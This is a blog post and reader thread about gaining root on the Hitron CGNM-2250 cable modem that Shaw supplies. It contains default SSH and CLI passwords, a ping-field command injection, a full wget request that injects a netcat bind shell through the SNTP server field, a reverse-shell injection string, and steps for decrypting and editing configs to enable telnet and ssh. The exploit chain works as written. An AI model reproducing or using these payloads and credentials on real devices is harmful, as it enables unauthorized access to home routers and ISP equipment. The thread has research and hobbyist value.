Remote code execution with Hitron CGNM-2250

Edit: This has been fixed in the latest firmare update 4.5.10.25

The routers that you receive from your ISP are almost always garbage: not many options to configure and pitiful wifi range. The router/modem that Shaw customers receive is the Hitron CGNM-2250 thankfully isn't completely terrible, 802.11ac plus gigabit ports. I was poking about and researching the model and came upon an exploit for a similar model version for remote code execution. The CGNM-2250 is vulnerable as well, for reference my software version is 4.5.8.20 with hardware version 1A. The input for the ping utility through the web interface isn't sanitized so you can enter arbitrary input. I discovered that it has a few basic utilities, including Dropbear.

 

From there you can ssh into your router with

ssh mso@192.168.0.1 -p 29

The password is msopassword (go figure!)

You'll be greeted with a fun menu driven interface. 

Most of the menus are for debugging and initial programming purposes. There is a menu option to set the TFTP download image URL to flash the device, so it might be possible to flash your own firmware though I don't know how possible that is.

Going back to the web interface, I was able to see what tools and programs are available on the router.

It is your basic Linux system, busybox plus some manufacturer utilities. For a full list of binaries available see below:

#/sbin
wlanconfig
wifitool
wifirrm
watchdog
vconfig
utelnetd
udhcpd
udhcpc
udevstart
udevsend
udevd
udev
ti_udhcpc
ti_todc
ti_tftp
ti_syslogd
ti_dhcp6c
start-stop-daemon
route
rmmod
reboot
radartool
poweroff
pktlogdump
pktlogconf
manufacture_ath_throughput_sta
manufacture_ath_throughput_ap
makeVAP
lsmod
klogd
killVAP
iwpriv
iwlist
iwconfig
insmod
init
ifconfig
ht_wifi_ioctl
ht_atom_cmd
hostapd_cli
hostapd
halt
fsck.ext3
fdisk
cfg
blockdev
atomcmdlist
athstatsclr
athstats
athcfg_api
arp
apup
apstats
apdown
apcfg
activateVAP
80211stats
#/usr/bin
which
uptime
traceroute6
traceroute
tr
top
tftp
test
renice
pstree
pmap
mkfifo
logger
killall
hexdump
head
free
flock
find
expr
dirname
cut
crontab
basename
awk
add-shell
[[
[
#/bin
xmlwf
umount
touch
tar
sync
sleep
sh
sed
rm
pwd
ps
ping6
ping
pcap-config
netstat
mv
mount
more
mknod
mkdir
luac
lua
ls
login
ln
kill
iptunnel
iprule
iproute
iplink
ipaddr
ip
hostname
grep
getopt
false
echo
dnsdomainname
dmesg
df
dd
date
cp
clnkstat
clnkrst
clnkqos
clnkpm
clnkmocamib
clnkmem
clnkmcast
clnkhwtst
clnkfwupd
clnkcfg
clinkd
chown
chmod
cat
busybox
bash
ash
DCAP.46
DCAP.45
DCAP.44
DCAP.42
DCAP.41
DCAP.40
DCAP.38
DCAP.37
DCAP.35
DCAP.19
DCAP.18
DCAP.16
DCAP.137
DCAP.132
DCAP.126
DCAP.125
DCAP.123
DCAP.122
DCAP.116
DCAP.115
DCAP.112
DCAP.111
DCAP.110
DCAP.109
DCAP.107
DCAP.104
DCAP.103
DCAP.102
DCAP.101
DCAP.08
DCAP.03
DCAP.02
DCAP
CandDdvr.ko
##/usr/sbin
watchdog_rt
upstream_manager_1q
upstream_manager
upgradebox
update
testmode_handle.sh
testmode
sync_app_np_reboot
swdl2
sw_dl
snmpcmd
snmp_agent_cm
setstartup
setkey
setenv
sched
runall
rpc_reverse_server_util
rpc_reverse_server
rpc_management_server
rpc_ifconfig
rfs.cfg
rfs
regs
qos_dsx_sm
productionmode
printenv
pp_fw_download
portmap
pmap_set
pmap_dump
pcd
nvtst
nvread
mptint
mlx
logger
ledcfg
l2switch_iram.img
l2switch_init
l2switch_dram.img
iostat
iccctl
icc_genEvent
htxvendordb
ht_iwcmd
ht_buttond
hal_tuner_mgr
hal_event_mbox
hal_cmd_mbox
gptimer
gim
getenv
getPortByMAC.sh
flash_eraseall
fdump
ext_switch_init
eventmgr_cm
energy_manager_app
dpp_dev_init.sh
downstream_manager
docsis_mac_manager
docsis_mac_driver
docsis_init_once
docsis_dl_box
docsis_config_to_text
dmg_provisioning
dl
dispatcher
dfltr_class_init.sh
ddl
dbridge_mdf_init.sh
dbridge_l2vpn_ds_init.sh
dbridge_init
crond
cmdl
cm_status
cli_net.sh
cli_mem.sh
cli
chroot
cefdk
cc_init_once
brctl
bpi_tek
bpi_sa_map
bpi_auth
MxL_HRCLS_FW_4.1.5.5.mbin
MxL_HRCLS_FW.mbin
FwUpstreamDocsis3_I.bin
FwUpstreamDocsis3_D.bin
FwUpstreamDocsis2_I.bin
FwUpstreamDocsis2_D.bin

Through digging in the CLI menu I found that /etc/scripts/sys_startup.sh is ran on startup, making it a easier to inject any commands you want to run at startup. I haven't been able to get to a shell yet, since logging in with the 'mso' user it takes you to the CLI menu. But cat /etc/passwd reveals:

root:$1$27272727:0:0::/:/bin/false
nobody:$1$27272727:65535:65535::/:/bin/false
mso:$1$1w7AswO3$IJCko5PwRk6ChJrIYgMQs/:100:100::/:/usr/sbin/cli

One should be able to symlink /bin/sh to /usr/sbin/cli so upon login it would drop to a shell. Entering commands via the web interface is a bit tricky since it doesn't like pipes (|), it's just a matter of getting around the JS validation. Once I can get to a shell I'll write a followup to this post Issue patched in version 4.5.10.25

 

also shell password from that CLI is stAphuV8

In reply to by david (not verified)

Nice, how'd you work that shell pw out?

In reply to by Rob (not verified)

I found it by searching around the filesystem for strings that appeared in the CLI and following linked libraries. Eventually I came across a library file that had some hints that this was the password. I don't have all the details with me now, but with some more skills/knowledge this could be easily reversed since we have access to all of the files.

The CLI shell is run with restricted user however, so I had to plant a root shell upgrade using the command injection to get full root shell.

I have this router with through Shaw (Canadian ISP) with FW 4.5.10.40, so the webapps exploit no longer works. I need root on the device to set up an ssh server (dropbear I guess would be fine). In your investigations did you find any other ways to get root?

In reply to by david (not verified)

A root shell is possible in firmware 4.5.10.40 through another input validation bug in Administration/Time Setting. You need to sniff network traffic to retrieve the userId cookie and csrf_token, then use wget or curl to set the SNTP server to (for example) "$(nc$IFS-l$IFS-p1337$IFS-e$IFS/bin/sh)". The web interface does not allow special characters, so wget/curl bypasses the client-side checks. Once this is special time server is set you can enable SNTP and you'll be able to connect to port 1337 using netcat on a client machine and get a root shell. The change is persistent through reboots (until Shaw finds out about it), and you can disable it by changing the time setting back to ToD function.

My wget script is:

wget --header="Cookie: userid=$USERID; userName=; password=" -O /dev/stdout http://192.168.0.1/goform/Sntp --post-data="model=%7B%22sntpOnOff%22%3A%22Enabled%22%2C%22sntpTimeZone%22%3A%220%22%2C%22sntpSrvName%22%3A%22%24%28nc%24IFS-l%24IFS-p1337%24IFS-e%24IFS/bin/sh%29%22%2C%22todOnOff%22%3A%22Disabled%22%2C%22todTimeZone%22%3A%220%22%2C%22daylightOnOff%22%3A%22Enabled%22%2C%22daylightTime%22%3A%2260%22%2C%22sntpinfo%22%3A%221%22%2C%22sntpTime%22%3A%22%22%7D&csrf_token=$CSRF"

Set $USERID and $CSRF to what you find from sniffing.

Using this I was able to dump the entire flash. If I recall the password to get out of the cli is found inside libcli_core.so, use strings to find it. In mine this password appears to be: "D0nt4g3tme!"

Could you send me a tutorial on how to get to the root shell. Also do you know what the password for the user "mso" is or where/if I could find it. I have never used wget before. I have 2 of these hitron modems that I got for free and I want to try enabling some of their extra features such as support for multiple SSIDs and the USB ports so I can use them as wifi access points. Any help would be greatly appreciated. I also have one of these hitron modems from shaw which I am using to receive my cable service. I would love to find out how I could get to extra diagnostic menus that would let me read the signal levels, see how many upstream and downstream channels my modem is using, or other stuff.

After some trial and error I was able to run the wget script on 2 of my hitron modems and set the SNTP server to "$(nc$IFS-l$IFS-p1337$IFS-e$IFS/bin/sh)" however now I have no idea how to connect to port 1337 using netcat. I tried running netcat and the furthest I got was to a screen that said "Connection to 192.168.0.1 1337 port [udp/*] succeeded!" when I entered the following command in terminal "nc -v -u 192.168.0.1 1337"

Hi, great info on this thread!. I also have a Hitron 2250 from Shaw. I'm a coder, not much work on hardware. I've been fighting the "worst malware ever" for weeks, tried absolutely everything, even formatting didn't fix it, and then when getting an entirely new laptop *still* didn't fix it! It's invisible to virus scans, McAfee tech support, Shaw...

I dug deeper & found a couple reports of the identical issue - and identical modem. I've put together a db to track the network connections & services (ie, netstat + tasklist) to figure out what's going on. My last step was to add the modem's activity log to cross-check but they don't exist! (or am I blind?)

I assume the log would still be stored though, right? I found a few sites with some starting steps (like https://redd.it/6l5nwg & https://goo.gl/CFHsE1). And I would need Linux, or is the Windows version (with a big warning) a bad idea?!) https://eternallybored.org/misc/netcat/

I've tried literally everything on that stupid modem. The thing is it's the stupidest virus every, it's basically just a timed browser redirect to pages that don't even work. I swear the background task actually watches for what I start deleting things, and it relocates it's important files (and grabs anything missing back off the modem). Honest I'm not crazy! Or else I've been outsmarted by a piece of code. :-(

A "standard" reverse shell should be possible as well. (e.g. running netcat -lvp 4444 # on your host.) Try injecting this:

$(/bin/nc${IFS}192.168.1.33${IFS}4444${IFS}-e${IFS}/bin/sh)

BusyBox's nc requires having the -e at the end, which is why most of the generic nc examples you'll see posted online don't work.

Since David Manoucherhri took down https://github.com/Manouchehri/hitron-cfg-decrypter I dug around the CVE and found this: https://github.com/habohitron/habohitron/blob/6add0d002fe553f0924a3bba1…

I compiled the program like the instructions say:
$ gcc -o hc -s -O3 hc.c -lcrypto
Then I used the program to decrypt my config
$ ./hc cmconfig.cfg cmconfig_plain.txt d # decrypting

Here is my config https://hastebin.com/buricedoze.swift

From there I set all the these "webs_sub_menu" options to true
and I set "fw_remote_management_rule ipv4 ssh 22 true".

I also set the mso password to the same thing cusadmin was set to. This is the current pw.
um_auth_account_name admin mso
um_auth_account_password admin $1$pyIKrckC$/hkd0SN7TypRCkOUINraz/
um_auth_account_enable admin true

Then I encrypted the config and uploaded it to my modem:
$ ./hc cmconfig_plain.txt cmconfig.cfg e # encrypting

Then in the gui I was able add an IP to the remote management whitelist.
From there I was able to ssh into the modem from a remote ip using the user mso and the cusadmin password.

I get to the CLI but I can't get into shell because I dont know what the password is.

In reply to by thoff (not verified)

Managed to get a complete image of mmcblk0 and a copy of all the filesystems.

I managed to do this by holding down the front button while booting and then going thru the uart pins near that button I was able to login to the console.
From there I plugged in a usb drive and copied over mmcblk0 along with all the partitions.
Then I mounted all the partitions and copied all the contents onto the USB.

Then I compressed that into a tar.gz file and uploaded it to my google drive.
https://drive.google.com/file/d/1BLZ_lTIz522nvwIbjsIMsHKS_-wy2iJk/view?…

In reply to by Alex (not verified)

# Download your router's config file from the web management interface at http://192.168.0.1
# *Default password is the router's serial number* (Really easy to make a wordlist for wpa cracking)
mkdir ~/hitron

# Config file name matches the mac address of the router.
cp ~/Downloads/hitronconfigfile.cfg ~/hitron/

# change directories
cd ~/hitron

# You might need to install some dependencies to get this to work, maybe not.
sudo apt-get install build-essential -y

# Download this thing and compile it.
wget https://raw.githubusercontent.com/habohitron/habohitron/6add0d002fe553f…
gcc -o hc -s -O3 hc.c -lcrypto

# This is how you decrypt the file.
./hc hitronconfigfile.cfg hitronconfigfile.txt d

# To enable the hidden menus you can run the following
sed -i -n "s/webs_main_memu\(.*\)false/webs_main_memu\1true/p" hitronconfigfile.txt
sed -i -n "s/webs_sub_menu\(.*\)false/webs_sub_menu\1true/p" hitronconfigfile.txt

# To enable telnet run the following (turn on via the remote management menu, only works remotely)
sed -i "s/telnet_enable.*/telnet_enable true/" hitronconfigfile.txt

# To enable ssh run the following (turn on via the remote management menu, only works remotely)
sed -i "s/ssh_enable.*/ssh_enable true/" hitronconfigfile.txt

# To enable snmp management
sed -i "s/fw_local_management_rule ipv4 online snmp false/fw_local_management_rule ipv4 online snmp true/" hitronconfigfile.txt
sed -i "s/fw_local_management_rule ipv4 offline snmp false/fw_local_management_rule ipv4 offline snmp true/" hitronconfigfile.txt

# This is how you encrypt the file
./hc hitronconfigfile.txt hitronconfigfile-modified.cfg e

# Then go upload hitronconfigfile-modified.cfg onto your router.
https://hastebin.com/uwuyikohix.bash or https://thoff.ca/aniyipimoh.bash for instructions

In reply to by marianoo (not verified)

the hitron doesnt want to port forward to anything that is not on
a registered list by the look of it. Was thinking of trying
to find the list and adding some lines for my ports.
ANyone tried it?